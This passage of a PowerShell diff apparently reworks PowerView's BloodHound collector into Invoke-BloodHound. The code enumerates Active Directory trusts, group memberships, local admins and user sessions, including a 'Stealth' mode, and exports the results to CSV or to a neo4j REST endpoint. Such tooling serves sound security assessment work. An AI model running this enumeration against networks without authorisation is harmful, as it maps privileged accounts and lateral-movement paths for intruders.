$FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } - } + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { - $LocalLoggedOn = Get-LoggedOnLocal -ComputerName $ComputerName - ForEach ($User in $LocalLoggedOn) { - $UserName = $User.UserName - $UserDomain = $User.UserDomain + Write-Verbose "Enumerating trusts for domain '$Domain'" - # ignore local account logons ? - if($ComputerName -notmatch "^$UserDomain") { - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } + # mark it as seen in our list + $Null = $SeenDomains.add($Domain, "") + + try { + # get all the trusts for this domain + if($LDAP -or $DomainController) { + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential + } + else { + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } - } - } - } - process { - if (-not $SkipComputerEnumeration) { - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" + if($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $True - 'CurrentUser2' = $CurrentUser - 'UseLocalGroup2' = $UseLocalGroup - 'UseSession2' = $UseSession - 'UseLoggedon2' = $UseLoggedon + # get any forest trusts, if they exist + if(-not ($LDAP -or $DomainController) ) { + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential } - Invoke-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } + if ($Trusts) { + if($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } - else { - if($TargetComputers.Count -ne 1) { - # ping all hosts in parallel - $Ping = {param($ComputerName2) if(Test-Connection -ComputerName $ComputerName2 -Count 1 -Quiet -ErrorAction Stop) { $ComputerName2 }} - $TargetComputers2 = Invoke-ThreadedFunction -NoImports -ComputerName $TargetComputers -ScriptBlock $Ping -Threads 100 - } - else { - $TargetComputers2 = $TargetComputers - } + # enumerate each trust found + ForEach ($Trust in $Trusts) { + if($Trust.SourceName -and $Trust.TargetName) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 - Write-Verbose "[*] Total number of active hosts: $($TargetComputers2.count)" - $Counter = 0 + # make sure we process the target + $Null = $Domains.Push($TargetDomain) - $TargetComputers2 | ForEach-Object { - $Counter = $Counter + 1 - Write-Verbose "[*] Enumerating server $($_) ($Counter of $($TargetComputers2.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList @($_, $False, $CurrentUser, $UseLocalGroup, $UseSession, $UseLoggedon) + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust.PSObject.TypeNames.Add($ObjectType) + $DomainTrust + } + } } } + catch { + Write-Verbose "[!] Error: $_" + } } } } +######################################################## +# +# BloodHound specific fuctions. +# +######################################################## + function Get-GlobalCatalogUserMapping { <# .SYNOPSIS @@ -13720,33 +4524,55 @@ function Get-GlobalCatalogUserMapping { } -function Export-BloodHoundData { +function Invoke-BloodHound { <# .SYNOPSIS - Takes custom objects from Get-BloodHound data and exports everything to a BloodHound - neo4j RESTful API batch ingestion interface. + This function automates the collection of the data needed for BloodHound. Author: @harmj0y License: BSD 3-Clause - Required Dependencies: PowerView.ps1 + Required Dependencies: None Optional Dependencies: None .DESCRIPTION - This function takes custom tagged PowerView objects types from Get-BloodHoundData and packages/ingests - them into a neo4j RESTful API batch ingestion interface. For user session data without a logon - domain, by default the global catalog is used to attempt to deconflict what domain the user may be - located in. If the user exists in more than one domain in the forest, a series of weights is used to - modify the attack path likelihood. + This function collects the information needed to populate the BloodHound graph + database. It offers a varity of targeting and collection options. + By default, it will map all domain trusts, enumerate all groups and associated memberships, + enumerate all computers on the domain and execute session/loggedon/local admin enumeration + queries against each. Targeting options are modifiable with -CollectionMethod. The + -SearchForest searches all domains in the forest instead of just the current domain. + By default, the data is output to CSVs in the current folder location (old Export-BloodHoundCSV functionality). + To modify this, use -CSVFolder. To export to a neo4j RESTful API interface, specify a + -URI X and -UserPass "...". + + .PARAMETER Domain - Cypher queries are built for each appropriate relationship to ingest, and the set of queries is 'batched' - so '-Throttle X' queries are sent at a time in each batch request. All of the Cypher queries are - jsonified using System.Web.Script.Serialization.javascriptSerializer. + Domain to query for machines, defaults to the current domain. - .PARAMETER Object + .PARAMETER DomainController + + Domain controller to bind to for queries. + + .PARAMETER CollectionMethod + + The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'. + 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), 'GPOLocalGroup' enumeration, and trust enumeration. + 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', 'LocalGroup' enumeration, and 'Trusts' enumeration. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER CSVFolder - The PowerView PSObject to export to the RESTful API interface. + The CSV folder to use for output, defaults to the current folder location. + + .PARAMETER CSVPrefix + + A prefix for all CSV files. .PARAMETER URI @@ -13754,936 +4580,1163 @@ function Export-BloodHoundData { .PARAMETER UserPass - The "user:password" for the BloodHound neo4j instance. - - .PARAMETER SkipGCDeconfliction + The "user:password" for the BloodHound neo4j instance - Switch. Don't resolve user domain memberships for session information using a global catalog. + .PARAMETER GlobalCatalog - .PARAMETER GlobalCatalog + The global catalog location to resolve user memberships from, form of GC://global.catalog. - The global catalog location to resole user memberships from, form of GC://global.catalog. + .PARAMETER Threads - .PARAMETER Credential + The maximum concurrent threads to execute, default of 20. - A [Management.Automation.PSCredential] object that stores a BloodHound username - and password for the neo4j connection. + .EXAMPLE - .PARAMETER Throttle + PS C:\> Invoke-BloodHound - The number of object insertion queries to run in each batch, defaults to 100. + Executes default collection methods and exports the data to a CSVs in the current directory. .EXAMPLE - PS C:\> Get-BloodHoundData | Export-BloodHoundData -URI http://SERVER:7474/ -UserPass "user:pass" + PS C:\> Invoke-BloodHound -URI http://SERVER:7474/ -UserPass "user:pass" Executes default collection options and exports the data to a BloodHound neo4j RESTful API endpoint. .EXAMPLE - PS C:\> Get-BloodHoundData | Export-BloodHoundData -URI http://SERVER:7474/ -UserPass "user:pass" -SkipGCDeconfliction + PS C:\> Invoke-BloodHound -CollectionMethod stealth - Executes default collection options and exports the data to a BloodHound neo4j RESTful API endpoint, - and skip the global catalog deconfliction process. + Executes stealth collection and exports the data to a CSVs in the current directory. + This includes 'stealth' user hunting and GPO object correlation for local admin membership. + This is significantly faster but the information is not as complete as the default options. .LINK http://neo4j.com/docs/stable/rest-api-batch-ops.html http://stackoverflow.com/questions/19839469/optimizing-high-volume-batch-inserts-into-neo4j-using-rest - #> - [CmdletBinding(DefaultParameterSetName = 'PlaintextPW')] + + [CmdletBinding(DefaultParameterSetName = 'CSVExport')] param( - [Parameter(Position=0, ValueFromPipeline=$True, Mandatory = $True)] - [PSObject] - $Object, + [String] + $Domain, + + [String] + $DomainController, + + [String] + [ValidateSet('Group', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'Default')] + $CollectionMethod = 'Default', + + [Switch] + $SearchForest, + + [Parameter(ParameterSetName = 'CSVExport')] + [ValidateScript({ Test-Path -Path $_ })] + [String] + $CSVFolder = $(Get-Location), + + [Parameter(ParameterSetName = 'CSVExport')] + [ValidateNotNullOrEmpty()] + [String] + $CSVPrefix, - [Parameter(Position=1, Mandatory = $True)] + [Parameter(ParameterSetName = 'RESTAPI', Mandatory = $True)] [URI] $URI, - [Parameter(Position=2, Mandatory = $True, ParameterSetName = 'PlaintextPW')] + [Parameter(ParameterSetName = 'RESTAPI', Mandatory = $True)] [String] [ValidatePattern('.*:.*')] $UserPass, - [Parameter(Position=2, Mandatory = $True, ParameterSetName = 'PSCredential')] - [Management.Automation.PSCredential] - $Credential, - - [Switch] - $SkipGCDeconfliction, - [ValidatePattern('^GC://')] [String] $GlobalCatalog, + [ValidateRange(1,50)] [Int] - $Throttle = 1000 + $Threads = 20 ) - begin { - $WebClient = New-Object System.Net.WebClient + BEGIN { + + Switch ($CollectionMethod) { + 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } + 'LocalGroup' { $UseLocalGroup = $True; $SkipGCDeconfliction = $True } + 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } + 'Session' { $UseSession = $True; $SkipGCDeconfliction = $False } + 'LoggedOn' { $UseLoggedOn = $True; $SkipGCDeconfliction = $True } + 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } + 'Stealth' { + $UseGroup = $True + $UseGPOGroup = $True + $UseSession = $True + $UseDomainTrusts = $True + $SkipGCDeconfliction = $False + } + 'Default' { + $UseGroup = $True + $UseLocalGroup = $True + $UseSession = $True + $UseLoggedOn = $True + $UseDomainTrusts = $True + $SkipGCDeconfliction = $False + } + } + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + try { + $OutputFolder = $CSVFolder | Resolve-Path -ErrorAction Stop | Select-Object -ExpandProperty Path + } + catch { + throw "Error: $_" + } - if($PSBoundParameters['Credential']) { - $BloodHoundUserName = $Credential.UserName - $BloodHoundPassword = $Credential.GetNetworkCredential().Password - $Base64UserPass = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($BloodHoundUserName + ':' + $BloodHoundPassword)) + if($CSVPrefix) { + $CSVExportPrefix = "$($CSVPrefix)_" + } + else { + $CSVExportPrefix = '' + } + + Write-Output "Writing output to CSVs in: $OutputFolder\$CSVExportPrefix" + + if($UseSession -or $UseLoggedon) { + $SessionPath = "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" + $Exists = [System.IO.File]::Exists($SessionPath) + $SessionFileStream = New-Object IO.FileStream($SessionPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $SessionWriter = New-Object System.IO.StreamWriter($SessionFileStream) + $SessionWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $SessionWriter.WriteLine('"ComputerName","UserName","Weight"') + } + } + + if($UseGroup) { + $GroupPath = "$OutputFolder\$($CSVExportPrefix)group_memberships.csv" + $Exists = [System.IO.File]::Exists($GroupPath) + $GroupFileStream = New-Object IO.FileStream($GroupPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $GroupWriter = New-Object System.IO.StreamWriter($GroupFileStream) + $GroupWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $GroupWriter.WriteLine('"GroupName","AccountName","AccountType"') + } + } + + if($UseLocalGroup -or $UseGPOGroup) { + $LocalAdminPath = "$OutputFolder\$($CSVExportPrefix)local_admins.csv" + $Exists = [System.IO.File]::Exists($LocalAdminPath) + $LocalAdminFileStream = New-Object IO.FileStream($LocalAdminPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $LocalAdminWriter = New-Object System.IO.StreamWriter($LocalAdminFileStream) + $LocalAdminWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $LocalAdminWriter.WriteLine('"ComputerName","AccountName","AccountType"') + } + } + + if($UseDomainTrusts) { + $TrustsPath = "$OutputFolder\$($CSVExportPrefix)trusts.csv" + $Exists = [System.IO.File]::Exists($TrustsPath) + $TrustsFileStream = New-Object IO.FileStream($TrustsPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $TrustWriter = New-Object System.IO.StreamWriter($TrustsFileStream) + $TrustWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $TrustWriter.WriteLine('"SourceDomain","TargetDomain","TrustDirection","TrustType","Transitive') + } + } } + else { + # otherwise we're doing ingestion straight to the neo4j RESTful API interface + + $Throttle = 1000 + $WebClient = New-Object System.Net.WebClient + $Base64UserPass = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($UserPass)) - } - # add the auth headers - $WebClient.Headers.Add('Accept','application/json; charset=UTF-8') - $WebClient.Headers.Add('Authorization',"Basic $Base64UserPass") + # add the auth headers + $WebClient.Headers.Add('Accept','application/json; charset=UTF-8') + $WebClient.Headers.Add('Authorization',"Basic $Base64UserPass") - # check auth to the BloodHound neo4j server - try { - $Null = $WebClient.DownloadString($URI.AbsoluteUri + 'user/neo4j') - Write-Verbose "Connection established with neo4j ingestion interface at $($URI.AbsoluteUri)" - $Authorized = $True - } - catch { - $Authorized = $False - throw "Error connecting to Neo4j rest REST server at '$($URI.AbsoluteUri)'" - } + # check auth to the BloodHound neo4j server + try { + $Null = $WebClient.DownloadString($URI.AbsoluteUri + 'user/neo4j') + Write-Verbose "Connection established with neo4j ingestion interface at $($URI.AbsoluteUri)" + $Authorized = $True + } + catch { + $Authorized = $False + throw "Error connecting to Neo4j rest REST server at '$($URI.AbsoluteUri)'" + } + + Write-Output "Sending output to neo4j RESTful API interface at: $($URI.AbsoluteUri)" + + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions") + + # from http://stackoverflow.com/questions/28077854/powershell-2-0-convertfrom-json-and-convertto-json-implementation + function ConvertTo-Json20([object] $Item){ + $ps_js = New-Object System.Web.Script.Serialization.javascriptSerializer + return $ps_js.Serialize($item) + } - Add-Type -Assembly System.Web.Extensions + $Authorized = $True + $Statements = New-Object System.Collections.ArrayList - # from http://stackoverflow.com/questions/28077854/powershell-2-0-convertfrom-json-and-convertto-json-implementation - function ConvertTo-Json20([object] $Item){ - $ps_js = New-Object System.Web.Script.Serialization.javascriptSerializer - return $ps_js.Serialize($item) + # add in the necessary constraints on nodes + $Null = $Statements.Add( @{ "statement"="CREATE CONSTRAINT ON (c:User) ASSERT c.UserName IS UNIQUE" } ) + $Null = $Statements.Add( @{ "statement"="CREATE CONSTRAINT ON (c:Computer) ASSERT c.ComputerName IS UNIQUE"} ) + $Null = $Statements.Add( @{ "statement"="CREATE CONSTRAINT ON (c:Group) ASSERT c.GroupName IS UNIQUE" } ) + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() } - $Authorized = $True - $Statements = New-Object System.Collections.ArrayList - $UserDomainMappings = @{} if(-not $SkipGCDeconfliction) { # if we're doing session enumeration, create a {user : @(domain,..)} from a global catalog # in order to do user domain deconfliction for sessions - - if(-not $PSBoundParameters['GlobalCatalog']) { - $UserDomainMappings = Get-GlobalCatalogUserMapping + if($PSBoundParameters['GlobalCatalog']) { + $UserDomainMappings = Get-GlobalCatalogUserMapping -GlobalCatalog $GlobalCatalog } else { - $UserDomainMappings = Get-GlobalCatalogUserMapping -GlobalCatalog $GlobalCatalog + $UserDomainMappings = Get-GlobalCatalogUserMapping } } - } + $DomainShortnameMappings = @{} - process { - if($Authorized) { + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | Select-Object -ExpandProperty Name + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).Name ) + } - $Queries = @() + if($UseGroup -and $TargetDomains) { + ForEach ($TargetDomain in $TargetDomains) { + # enumerate all groups and all members of each group - if($Object.PSObject.TypeNames -contains 'PowerView.UserSession') { - if($Object.SessionFromName) { - # implying a result from Get-NetSession - try { - $UserName = $Object.UserName.ToUpper() - $SessionFromName = $Object.SessionFromName - $ComputerDomain = $Object.SessionFromName.SubString($Object.SessionFromName.IndexOf('.')+1).ToUpper() - - if($UserDomainMappings) { - $UserDomain = $Null - if($UserDomainMappings[$UserName]) { - if($UserDomainMappings[$UserName].Count -eq 1) { - $UserDomain = $UserDomainMappings[$UserName] - $LoggedOnUser = "$UserName@$UserDomain" - - $Queries += "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" - } - else { - $UserDomainMappings[$UserName] | ForEach-Object { - if($_ -eq $ComputerDomain) { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" + Write-Verbose "Enumerating group memberships for domain $TargetDomain" - $Queries += "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" - } - else { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" + $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController - $Queries += "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" - } + # only search for security groups for a speedup (we don't care about distribution groups) + $GroupSearcher.filter = "(&(groupType:1.2.840.113556.1.4.803:=2147483648)(member=*))" + $Null = $GroupSearcher.PropertiesToLoad.AddRange(('samaccountname', 'member')) + $PrimaryGroups = @{} + $DomainSID = Get-DomainSID -Domain $TargetDomain -DomainController $DomainController + $GroupCounter = 0 + + ForEach($GroupResult in $GroupSearcher.FindAll()) { + ForEach($Member in $GroupResult.properties['member']) { + $Properties = ([adsi]"LDAP://$Member").Properties + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype + + if($GroupCounter % 100 -eq 0) { + Write-Verbose "Group counter: $GroupCounter" + } + + $MemberDN = $Null + $MemberDomain = $Null + + try { + $MemberDN = $Properties.distinguishedname[0] + + if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + try { + if(-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] } + else { + Write-Verbose "Error converting $MemberDN" + } + } + catch { + Write-Verbose "Error converting $MemberDN" } } else { - # no user object in the GC with this username - $LoggedOnUser = "$UserName@UNKNOWN" - $Queries += "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' } } - else { - $LoggedOnUser = "$UserName@$ComputerDomain" - $Queries += "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" - } - } - catch { - Write-Warning "Error extracting domain from $($Object.SessionFromName)" - } - } - elseif($Object.SessionFrom) { - $Queries += "MERGE (user:User { name: UPPER(`"$($Object.UserName)`") }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFrom)`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" - } - else { - # assume Get-NetLoggedOn result - try { - $MemberSimpleName = "$($Object.UserDomain)\$($Object.UserName)" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + catch {} - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$($Object.UserName)@$MemberDomain" + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] } else { - $AccountName = "$($Object.UserName)@UNKNOWN" + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties.cn[0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn + } } - $Queries += "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" - } - catch { - Write-Verbose "Error converting $($Object.UserDomain)\$($Object.UserName)" - } - } - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.GroupMember') { - $AccountName = "$($Object.MemberName)@$($Object.MemberDomain)" + $MemberPrimaryGroupName = $Null + try { + if($MemberDomain -eq $TargetDomain) { + # also retrieve the primary group name for this user + if($Properties.primaryGroupID -and $Properties.primaryGroupID -ne '') { + $PrimaryGroupSID = "$DomainSID-$($Properties.primaryGroupID)" + if($PrimaryGroups[$PrimaryGroupSID]) { + $PrimaryGroupName = $PrimaryGroups[$PrimaryGroupSID] + } + else { + $PrimaryGroupName = Get-ADObject -Domain $Domain -SID $PrimaryGroupSID | Select-Object -ExpandProperty samaccountname + $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + } + $MemberPrimaryGroupName = "$PrimaryGroupName@$TargetDomain" + } + else { } + } + } + catch { } - if ($Object.MemberName -Match "\\") { - # if the membername itself contains a backslash, get the trailing section - # TODO: later preserve this once BloodHound can properly display these characters - $AccountName = $($Object.Membername).split('\')[1] + '@' + $($Object.MemberDomain) - } + $GroupName = $GroupResult.properties['samaccountname'][0] + $GroupDomain = $TargetDomain + $GroupName = "$GroupName@$GroupDomain" - $GroupName = "$($Object.GroupName)@$($Object.GroupDomain)" + if ($MemberName -Match "\\") { + # if the membername itself contains a backslash, get the trailing section + # TODO: later preserve this once BloodHound can properly display these characters + $AccountName = $MemberName.split('\')[1] + '@' + $MemberDomain + } + else { + $AccountName = "$MemberName@$MemberDomain" + } - if($Object.IsGroup) { - $Queries += "MERGE (group1:Group { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName') }) MERGE (group1)-[:MemberOf]->(group2)" - } - else { - if($Object.ObjectClass -and ($Object.ObjectClass -contains 'computer')) { - $Queries += "MERGE (computer:Computer { name: UPPER('$($Object.dnshostname)') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (computer)-[:MemberOf]->(group)" - } - else { - # otherwise there's no way to determine if this is a computer object or not - $Queries += "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (user)-[:MemberOf]->(group)" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + if($IsGroup) { + $GroupWriter.WriteLine("`"$GroupName`",`"$AccountName`",`"group`"") + if($MemberPrimaryGroupName) { + $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"group`"") + } + } + else { + if($Properties.objectclass -contains 'computer') { + $AccountName = $Properties.dnshostname + $GroupWriter.WriteLine("`"$GroupName`",`"$AccountName`",`"computer`"") + if($MemberPrimaryGroupName) { + $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"computer`"") + } + } + else { + # otherwise there's no way to determine if this is a computer object or not + $GroupWriter.WriteLine("`"$GroupName`",`"$AccountName`",`"user`"") + if($MemberPrimaryGroupName) { + $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"user`"") + } + } + } + } + else { + # otherwise we're exporting to the neo4j RESTful API + if($IsGroup) { + $Null = $Statements.Add( @{ "statement"="MERGE (group1:Group { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName') }) MERGE (group1)-[:MemberOf]->(group2)" } ) + if($MemberPrimaryGroupName) { + $Null = $Statements.Add( @{ "statement"="MERGE (group1:Group { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE (group1)-[:MemberOf]->(group2)" } ) + } + } + else { + if($Properties.objectclass -contains 'computer') { + $AccountName = $Properties.dnshostname + $Null = $Statements.Add( @{ "statement"="MERGE (computer:Computer { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (computer)-[:MemberOf]->(group)" } ) + if($MemberPrimaryGroupName) { + $Null = $Statements.Add( @{ "statement"="MERGE (computer:Computer { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE (computer)-[:MemberOf]->(group)" } ) + } + } + else { + # otherwise there's no way to determine if this is a computer object or not... + $Null = $Statements.Add( @{ "statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (user)-[:MemberOf]->(group)" } ) + if($MemberPrimaryGroupName) { + $Null = $Statements.Add( @{ "statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE (user)-[:MemberOf]->(group)" } ) + } + } + } + if ($Statements.Count -ge $Throttle) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } + } + $GroupCounter += 1 } } - } - elseif($Object.PSObject.TypeNames -Contains 'PowerView.User') { - $AccountDomain = $Object.Domain - $AccountName = "$($Object.SamAccountName)@$AccountDomain" - - if($Object.PrimaryGroupName -and ($Object.PrimaryGroupName -ne '')) { - $PrimaryGroupName = "$($Object.PrimaryGroupName)@$AccountDomain" - $Queries += "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$PrimaryGroupName') }) MERGE (user)-[:MemberOf]->(group)" - } - # TODO: extract pwdlastset/etc. and ingest - } - elseif(($Object.PSObject.TypeNames -contains 'PowerView.LocalUserAPI') -or ($Object.PSObject.TypeNames -contains 'PowerView.LocalUser')) { - $AccountName = $($Object.AccountName.replace('/', '\')).split('\')[-1] - - $MemberSimpleName = Convert-SidToName -SID $Object.SID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - } - else { - $MemberDomain = "UNKNOWN" - } - - $AccountName = "$AccountName@$MemberDomain" - - if($Object.IsGroup) { - $Queries += "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (group)-[:AdminTo]->(computer)" - } - else { - $Queries += "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (user)-[:AdminTo]->(computer)" - } - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.LocalUserSpecified') { - # manually specified localgroup membership where resolution happens by the callee - - $AccountName = "$($Object.MemberName)@$($Object.MemberDomain)" + $GroupSearcher.Dispose() - if($Object.IsGroup) { - $Queries += "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (group)-[:AdminTo]->(computer)" - } - else { - $Queries += "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (user)-[:AdminTo]->(computer)" + if ($PSCmdlet.ParameterSetName -eq 'RESTAPI') { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() } + Write-Verbose "Done with group enumeration for domain $TargetDomain" } - elseif($Object.PSObject.TypeNames -contains 'PowerView.GPOLocalGroup') { - if(![string]::IsNullOrEmpty($Object.SID)){ - $MemberSimpleName = Convert-SidToName -SID $Object.SID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - } - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$($Object.ObjectName)@$MemberDomain" - } - else { - $AccountName = $Object.ObjectName - } + Write-Verbose "Enumerating group enumeration" + [GC]::Collect() + } - ForEach($Computer in $Object.ComputerName) { - if($Object.IsGroup) { - $Queries += "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (group)-[:AdminTo]->(computer)" - } - else { - $Queries += "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (user)-[:AdminTo]->(computer)" - } - } - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.DomainTrustLDAP') { - # [uint32]'0x00000001' = 'non_transitive' - # [uint32]'0x00000002' = 'uplevel_only' - # [uint32]'0x00000004' = 'quarantined_domain' - # [uint32]'0x00000008' = 'forest_transitive' - # [uint32]'0x00000010' = 'cross_organization' - # [uint32]'0x00000020' = 'within_forest' - # [uint32]'0x00000040' = 